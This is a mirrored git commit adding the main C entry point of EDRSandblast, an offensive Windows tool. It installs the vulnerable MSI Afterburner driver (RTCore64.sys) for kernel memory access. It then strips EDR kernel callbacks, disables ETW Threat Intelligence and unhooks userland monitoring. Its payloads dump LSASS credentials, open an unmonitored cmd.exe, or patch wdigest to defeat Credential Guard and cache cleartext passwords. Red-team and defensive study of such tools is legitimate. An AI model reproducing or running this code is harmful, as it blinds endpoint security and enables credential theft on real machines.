mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-11 01:41:20 +00:00
Initial commit for public version
Co-authored-by: Thomas Diot <thomas.diot@wavestone.com>
This commit is contained in:
@@ -0,0 +1,515 @@
|
||||
#include "EDRSandBlast.h"
|
||||
|
||||
/*
|
||||
|
||||
--- Execution entry point.
|
||||
|
||||
*/
|
||||
|
||||
static TCHAR* randString(TCHAR* str, size_t size)
|
||||
{
|
||||
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";
|
||||
if (size) {
|
||||
--size;
|
||||
for (size_t n = 0; n < size; n++) {
|
||||
int key = rand() % (int)(sizeof charset - 1);
|
||||
str[n] = charset[key];
|
||||
}
|
||||
str[size] = '\0';
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
const TCHAR *gVulnDriverServiceName = TEXT("RTCore64");
|
||||
|
||||
// TCHAR* gVulnDriverServiceName;
|
||||
|
||||
int _tmain(int argc, TCHAR** argv) {
|
||||
// Parse command line arguments and initialize variables to default values if needed.
|
||||
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard> [--usermode [--unhook-method <N>]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver <RTCore64.sys>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [-o | --dump-output <DUMP_FILE>]");
|
||||
const TCHAR extendedUsage[] = TEXT("\n\
|
||||
-h | --help Show this help message and exit.\n\
|
||||
-v | --verbose Enable a more verbose output.\n\
|
||||
\n\
|
||||
Actions mode:\n\
|
||||
\n\
|
||||
\taudit Display the user-land hooks and / or Kernel callbacks with out taking actions.\n\
|
||||
\tdump Dump the LSASS process, by default as 'lsass' in the current directory or at the\n\
|
||||
\t specified file using -o | --output <DUMP_FILE>.\n\
|
||||
\tcmd Open a cmd.exe prompt.\n\
|
||||
\tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\
|
||||
\t Credential Guard is enabled on the host. No kernel-lank actions required.\n\
|
||||
\n\
|
||||
--usermode Perform user-land operations (DLL unhooking).\n\
|
||||
--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\
|
||||
\n\
|
||||
--unhook-method <N>\n Choose the userland un-hooking technique, from the following: \n\
|
||||
\n\
|
||||
\t1 (Default) Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all\n\
|
||||
\t present userland hooks.\n\
|
||||
\t2 Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by\n\
|
||||
\t allocating an executable trampoline jumping over the hook, and remove all present\n\
|
||||
\t userland hooks.\n\
|
||||
\t3 Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked'\n\
|
||||
\t (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland\n\
|
||||
\t hooks.\n\
|
||||
\t4 Loads an additional version of ntdll library into memory, and use the (hopefully\n\
|
||||
\t unmonitored) version of NtProtectVirtualMemory present in this library to remove all\n\
|
||||
\t present userland hooks.\n\
|
||||
\t5 Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,\n\
|
||||
\t and uses it to remove all detected hooks\n\
|
||||
\n\
|
||||
Other options:\n\
|
||||
\n\
|
||||
--dont-unload-driver Keep the Micro-Star MSI Afterburner vulnerable driver installed on the host\n\
|
||||
Default to automatically unsinstall the driver.\n\
|
||||
--dont-restore-callbacks Do not restore the EDR drivers' Kernel Callbacks that were removed.\n\
|
||||
Default to restore the callbacks.\n\
|
||||
\n\
|
||||
--driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\
|
||||
Default to 'RTCore64.sys' in the current directory.\n\
|
||||
\n\
|
||||
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
|
||||
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
|
||||
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\
|
||||
(only for the 'credguard' mode).\n\
|
||||
Default to 'WdigestOffsets.csv' in the current directory.\n\
|
||||
\n\
|
||||
-o | --output <DUMP_FILE> Output path to the dump file that will be generated by the 'dump' mode.\n\
|
||||
Default to 'lsass' in the current directory.\n");
|
||||
BOOL status;
|
||||
TCHAR currentFolderPath[MAX_PATH] = { 0 };
|
||||
GetCurrentDirectory(_countof(currentFolderPath), currentFolderPath);
|
||||
|
||||
if (argc < 2) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
START_MODE startMode;
|
||||
if (_tcsicmp(argv[1], TEXT("dump")) == 0) { startMode = dump; }
|
||||
else if (_tcsicmp(argv[1], TEXT("cmd")) == 0) { startMode = cmd; }
|
||||
else if (_tcsicmp(argv[1], TEXT("credguard")) == 0) { startMode = credguard; }
|
||||
else if (_tcsicmp(argv[1], TEXT("audit")) == 0) { startMode = audit; }
|
||||
else if (_tcsicmp(argv[1], TEXT("-h")) == 0 || _tcsicmp(argv[1], TEXT("--help")) == 0) {
|
||||
_tprintf(TEXT("%s\n"), usage);
|
||||
_tprintf(TEXT("%s\n"), extendedUsage);
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
TCHAR driverPath[MAX_PATH * 2] = { 0 };
|
||||
TCHAR driverDefaultName[] = TEXT("RTCore64.sys");
|
||||
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH * 2] = { 0 };
|
||||
TCHAR wdigestOffsetCSVPath[MAX_PATH * 2] = { 0 };
|
||||
TCHAR outputPath[MAX_PATH * 2] = { 0 };
|
||||
BOOL verbose = FALSE;
|
||||
BOOL removeVulnDriver = TRUE;
|
||||
BOOL restoreCallbacks = TRUE;
|
||||
BOOL userMode = FALSE;
|
||||
enum unhook_method_e unhook_method = UNHOOK_WITH_NTPROTECTVIRTUALMEMORY;
|
||||
BOOL kernelMode = FALSE;
|
||||
int lpExitCode = EXIT_SUCCESS;
|
||||
struct FOUND_EDR_CALLBACKS* checkEDRDrivers = NULL;
|
||||
struct FOUND_EDR_CALLBACKS* removedEDRDrivers = NULL;
|
||||
BOOL ETWTIState = FALSE;
|
||||
hook* hooks = NULL;
|
||||
|
||||
/*
|
||||
gVulnDriverServiceName = calloc(SERVICE_NAME_LENGTH, sizeof(TCHAR));
|
||||
randString(gVulnDriverServiceName, SERVICE_NAME_LENGTH);
|
||||
*/
|
||||
|
||||
for (int i = 2; i < argc; i++) {
|
||||
if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) {
|
||||
_tprintf(TEXT("%s\n"), usage);
|
||||
_tprintf(TEXT("%s\n"), extendedUsage);
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("-v")) == 0 || _tcsicmp(argv[i], TEXT("--verbose")) == 0) {
|
||||
verbose = TRUE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--usermode")) == 0) {
|
||||
userMode = TRUE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--kernelmode")) == 0) {
|
||||
kernelMode = TRUE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--dont-unload-driver")) == 0) {
|
||||
removeVulnDriver = FALSE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--dont-restore-callbacks")) == 0) {
|
||||
restoreCallbacks = FALSE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--driver")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--nt-offsets")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("-o")) == 0 || _tcsicmp(argv[i], TEXT("--dump-output")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(outputPath, _countof(outputPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--unhook-method")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
unhook_method = _ttoi(argv[i]);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
// Command line option consistency checks
|
||||
if (startMode == cmd && !kernelMode) {
|
||||
_tprintf(TEXT("'cmd' mode needs kernel-land unhooking to work, please enable --kernelmode\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
if (!userMode && !kernelMode) {
|
||||
_tprintf(TEXT("[!] You did not provide at least one option between --usermode and --kernelmode. Enabling --usermode by default...\n"));
|
||||
userMode = TRUE;
|
||||
}
|
||||
if (startMode == credguard && !kernelMode) {
|
||||
_tprintf(TEXT("[!] Credential Guard bypass might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
|
||||
}
|
||||
if (startMode == dump && !kernelMode) {
|
||||
_tprintf(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
|
||||
}
|
||||
|
||||
BOOL isSafeToExecutePayload = TRUE;
|
||||
|
||||
if (kernelMode) {
|
||||
if (_tcslen(driverPath) == 0) {
|
||||
TCHAR separator[] = TEXT("\\");
|
||||
_tcsncat_s(driverPath, _countof(driverPath), currentFolderPath, _countof(currentFolderPath));
|
||||
_tcsncat_s(driverPath, _countof(driverPath), separator, _countof(separator));
|
||||
_tcsncat_s(driverPath, _countof(driverPath), driverDefaultName, _countof(driverDefaultName));
|
||||
}
|
||||
DWORD driverAttrib = GetFileAttributes(driverPath);
|
||||
if (driverAttrib == INVALID_FILE_ATTRIBUTES || (driverAttrib & FILE_ATTRIBUTE_DIRECTORY)) {
|
||||
_tprintf(TEXT("[!] Required driver file not present at %s\nExiting...\n"), driverPath);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
if (_tcslen(ntoskrnlOffsetCSVPath) == 0) {
|
||||
TCHAR offsetCSVName[] = TEXT("\\NtoskrnlOffsets.csv");
|
||||
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
|
||||
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
|
||||
}
|
||||
|
||||
// Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets.
|
||||
_tprintf(TEXT("Loading Notify Routines' offsets from the CSV file\n"));
|
||||
ntoskrnlOffsets = GetNtoskrnlVersionOffsets(ntoskrnlOffsetCSVPath);
|
||||
if (ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspLoadImageNotifyRoutine == 0x0) {
|
||||
_tprintf(TEXT("[!] No known offsets for the version of ntoskrnl in use. The offsets must be computed and added to the offsets CSV file\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
// Install the vulnerable driver to have read / write in Kernel memory.
|
||||
_tprintf(TEXT("Installing vulnerable MSI Afterburner driver...\n"));
|
||||
status = InstallVulnerableDriver(driverPath);
|
||||
if (status != TRUE) {
|
||||
_tprintf(TEXT("[!] An error occurred while installing the vulnerable MSI Afterburner driver\n"));
|
||||
_tprintf(TEXT("[*] Uninstalling the service and attempting the install again...\n"));
|
||||
Sleep(2000);
|
||||
status = UninstallVulnerableDriver();
|
||||
Sleep(2000);
|
||||
status = status && InstallVulnerableDriver(driverPath);
|
||||
Sleep(2000);
|
||||
if (status != TRUE) {
|
||||
_tprintf(TEXT("[!] New uninstall / install attempt failed, make sure that there is no trace of the MSI Afterburner driver left...\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
Sleep(5000);
|
||||
|
||||
// Checks if any EDR callbacks are configured. If no EDR callbacks are found, then dump LSASS / exec cmd / patch CredGuard. Ohterwise, remove the EDR callbacks and start a new (unmonitored) process executing itself to dump LSASS.
|
||||
_tprintf(TEXT("Checking if any EDR Kernel callbacks are configured...\n"));
|
||||
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!checkEDRDrivers) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
|
||||
if (checkEDRDrivers->index) {
|
||||
isSafeToExecutePayload = FALSE;
|
||||
}
|
||||
|
||||
ETWTIState = isETWThreatIntelProviderEnabled(verbose);
|
||||
_tprintf(TEXT("[+] ETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
|
||||
_tprintf(TEXT("\n\n"));
|
||||
if (ETWTIState) {
|
||||
isSafeToExecutePayload = FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if (userMode) {
|
||||
_tprintf(TEXT("Loaded DLLs in current process:\n"));
|
||||
hooks = searchHooks(NULL);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
}
|
||||
|
||||
if (startMode != audit) {
|
||||
if (userMode) {
|
||||
for (hook* ptr = hooks; ptr->disk_function != NULL; ptr++) {
|
||||
printf("Unhooking %s using method %ld ...\n", ptr->functionName, unhook_method);
|
||||
unhook(ptr, unhook_method);
|
||||
}
|
||||
}
|
||||
|
||||
if (isSafeToExecutePayload) {
|
||||
_tprintf(TEXT("[+] Process is \"safe\" to launch our payload\n"));
|
||||
|
||||
// Do the operation the tool was started for.
|
||||
switch (startMode) {
|
||||
|
||||
// Start a process executing cmd.exe.
|
||||
case cmd:
|
||||
_tprintf(TEXT("[+] Kernel callbacks have normally been removed, starting cmd.exe\n")
|
||||
TEXT("WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit)\n")
|
||||
TEXT("WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!\n\n"));
|
||||
// Find cmd.exe path.
|
||||
TCHAR systemDirectory[MAX_PATH * 2] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
TCHAR cmdPath[MAX_PATH * 2] = { 0 };
|
||||
_tcscat_s(cmdPath, _countof(cmdPath), systemDirectory);
|
||||
_tcscat_s(cmdPath, _countof(cmdPath), TEXT("\\cmd.exe"));
|
||||
_tsystem(cmdPath);
|
||||
break;
|
||||
|
||||
// Dump the LSASS process in a new thread.
|
||||
case dump:
|
||||
if (kernelMode) {
|
||||
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS (offset of _PS_PROTECTION exists). This will allow access to LSASS if RunAsPPL is enabled\n"));
|
||||
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
|
||||
SetCurrentProcessAsProtected(verbose);
|
||||
}
|
||||
}
|
||||
|
||||
if (_tcslen(outputPath) == 0) {
|
||||
TCHAR outputName[] = TEXT("\\lsass");
|
||||
_tcsncat_s(outputPath, _countof(outputPath), currentFolderPath, _countof(currentFolderPath));
|
||||
_tcsncat_s(outputPath, _countof(outputPath), outputName, _countof(outputName));
|
||||
}
|
||||
|
||||
_tprintf(TEXT("[+] Attempting to dump LSASS\n"));
|
||||
HANDLE hThread = CreateThread(NULL, 0, dumpLSASSProcess, outputPath, 0, NULL);
|
||||
if (hThread) {
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
GetExitCodeThread(hThread, (PDWORD)&lpExitCode);
|
||||
if (lpExitCode != 0) {
|
||||
_tprintf(TEXT("[!] A fatal error occurred during the LSASS dump / execution of cmd.exe\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] An error occurred while attempting to start the new thread...\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
break;
|
||||
|
||||
|
||||
// Bypass Cred Guard (for new logins) by patching LSASS's wdigest module in memory.
|
||||
case credguard:
|
||||
if (kernelMode) {
|
||||
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS(Offset of _PS_PROTECTION exists). This will allow lsass access is RunAsPPL is enabled\n"));
|
||||
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
|
||||
SetCurrentProcessAsProtected(verbose);
|
||||
}
|
||||
}
|
||||
if (_tcslen(wdigestOffsetCSVPath) == 0) {
|
||||
TCHAR offsetCSVName[] = TEXT("\\WdigestOffsets.csv");
|
||||
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
|
||||
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
|
||||
}
|
||||
|
||||
wdigestOffsets = GetWdigestVersionOffsets(wdigestOffsetCSVPath);
|
||||
if (wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
|
||||
_tprintf(TEXT("[!] No known offsets for the version of wdigest.dll in use, Windows Credential Guard will not be bypassed. The required offsets must be computed and added to the offsets CSV file.\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("\n\n"));
|
||||
if (disableCredGuardByPatchingLSASS()) {
|
||||
_tprintf(TEXT("[+] LSASS was patched and Credential Guard should be bypassed for future logins on the system.\n"));
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] LSASS couldn't be patched and Credential Guard will not be bypassed.\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
_tprintf(TEXT("\n\n"));
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[+] Process is NOT \"safe\" to launch our payload, removing monitoring and start another process...\n"));
|
||||
#ifdef _DEBUG
|
||||
assert(kernelMode);
|
||||
#endif
|
||||
/*
|
||||
* 1/3 : Removing kernel-based monitoring.
|
||||
*/
|
||||
// Disable (temporarily) ETW Threat Intel functions by patching the ETW Threat Intel provider ProviderEnableInfo.
|
||||
if (ETWTIState) {
|
||||
DisableETWThreatIntelProvider(verbose);
|
||||
}
|
||||
// If kernel callbacks are monitoring processes, we remove them and start a new process.
|
||||
if (checkEDRDrivers && checkEDRDrivers->index != 0) {
|
||||
_tprintf(TEXT("EDR driver(s) found in Kernel callbacks, attempting to remove them...\n"));
|
||||
// Removes EDR drivers callbacks for process / threads creation and image loading.
|
||||
removedEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!removedEDRDrivers) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to remove the drivers in Kernel callbacks\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tprintf(TEXT("--- Removing EDR driver(s) in process creation Kernel callbacks...\n"));
|
||||
RemoveEDRProcessNotifyCallbacks(removedEDRDrivers, verbose);
|
||||
_tprintf(TEXT("--- Removing EDR driver(s) in threads creation Kernel callbacks...\n"));
|
||||
RemoveEDRThreadNotifyCallbacks(removedEDRDrivers, verbose);
|
||||
_tprintf(TEXT("--- Removing EDR driver(s) in image loading Kernel callbacks...\n"));
|
||||
RemoveEDRImageNotifyCallbacks(removedEDRDrivers, verbose);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
// Checks that EDR drivers were indeed removed and if so, go on with the payload.
|
||||
_tprintf(TEXT("Checking that all EDR driver(s) were successfully removed from Kernel callbacks...\n"));
|
||||
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!checkEDRDrivers) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
|
||||
free(removedEDRDrivers);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
if (checkEDRDrivers->index != 0) {
|
||||
_tprintf(TEXT("[!] All EDR drivers could not be removed from Kernel callbacks, exiting..."));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
free(checkEDRDrivers);
|
||||
}
|
||||
|
||||
/*
|
||||
* 2/3 : Starting "resursively" our process.
|
||||
*/
|
||||
// Re-executing the present binary, without any kernel callback nor ETWTI enabled.
|
||||
_tprintf(TEXT("All EDR drivers were successfully removed from Kernel callbacks\nStarting a new unmonitored process ...\n"));
|
||||
_tprintf(TEXT("\n\n"));
|
||||
STARTUPINFO si;
|
||||
PROCESS_INFORMATION pi;
|
||||
memset(&si, 0, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
memset(&pi, 0, sizeof(pi));
|
||||
// Pass the same argument, only add the "--dont-unload-driver" flag as the vulnerable driver will still be needed by the parent process.
|
||||
TCHAR* currentCommandLine = GetCommandLine();
|
||||
TCHAR* noRemoveFlag = _tcsdup(TEXT(" --dont-unload-driver"));
|
||||
|
||||
//TODO: fix length calculation. _tcslen returns the length that should be used, but error due to "no const".
|
||||
const SIZE_T commandLineMaxLen = 32768;
|
||||
TCHAR* commandLine = (TCHAR*)calloc(commandLineMaxLen, sizeof(TCHAR));
|
||||
_tcsncat_s(commandLine, commandLineMaxLen, currentCommandLine, _tcslen(currentCommandLine));
|
||||
_tcsncat_s(commandLine, commandLineMaxLen, noRemoveFlag, _tcslen(noRemoveFlag));
|
||||
|
||||
if (CreateProcess(argv[0], commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
|
||||
WaitForSingleObject(pi.hProcess, INFINITE);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] An error occured while trying to create a new process\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
free(commandLine);
|
||||
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
/*
|
||||
* 3/3 : Restoring state after execution.
|
||||
*/
|
||||
// By default, restore the removed EDR kernel callbacks. restoreCallbacks set to FALSE if the no restore CLI flag is set.
|
||||
if (restoreCallbacks == TRUE && removedEDRDrivers && removedEDRDrivers->index != 0) {
|
||||
// Restores the EDR drivers.
|
||||
_tprintf(TEXT("Restoring EDR driver(s) Kernel callbacks...\n"));
|
||||
RestoreEDRCallbacks(removedEDRDrivers);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
// Checks that the EDR drivers were indeed restored.
|
||||
_tprintf(TEXT("Checking that all EDR driver(s) were successfully restored in Kernel callbacks...\n"));
|
||||
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!checkEDRDrivers) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to check if the EDR drivers were successfully restored in Kernel callbacks\n"));
|
||||
}
|
||||
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
|
||||
if (removedEDRDrivers && checkEDRDrivers && removedEDRDrivers->index == checkEDRDrivers->index) {
|
||||
_tprintf(TEXT("[+] All EDR drivers were successfully restored in Kernel callbacks\n"));
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] All EDR drivers could not be restored, continuing...\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
free(checkEDRDrivers);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
}
|
||||
|
||||
// Renable the ETW Threat Intel provider.
|
||||
// TODO : make this conditionnal, just as kernel callbacks restoring ?
|
||||
if (ETWTIState) {
|
||||
EnableETWThreatIntelProvider(verbose);
|
||||
}
|
||||
|
||||
if (removedEDRDrivers) {
|
||||
free(removedEDRDrivers);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TODO : Fix Windows error 0x00000422 that happens on 1 on 2 restart after uninstall.
|
||||
if (kernelMode && removeVulnDriver) {
|
||||
Sleep(5000);
|
||||
_tprintf(TEXT("[*] Uninstalling vulnerable MSI Afterburner driver...\n"));
|
||||
status = UninstallVulnerableDriver();
|
||||
if (status == FALSE) {
|
||||
_tprintf(TEXT("[!] An error occured while attempting to uninstall the vulnerable driver\n"));
|
||||
_tprintf(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), gVulnDriverServiceName);
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[+] The vulnerable driver was successfully uninstalled!\n"));
|
||||
}
|
||||
}
|
||||
|
||||
return lpExitCode;
|
||||
}
|
||||
Reference in New Issue
Block a user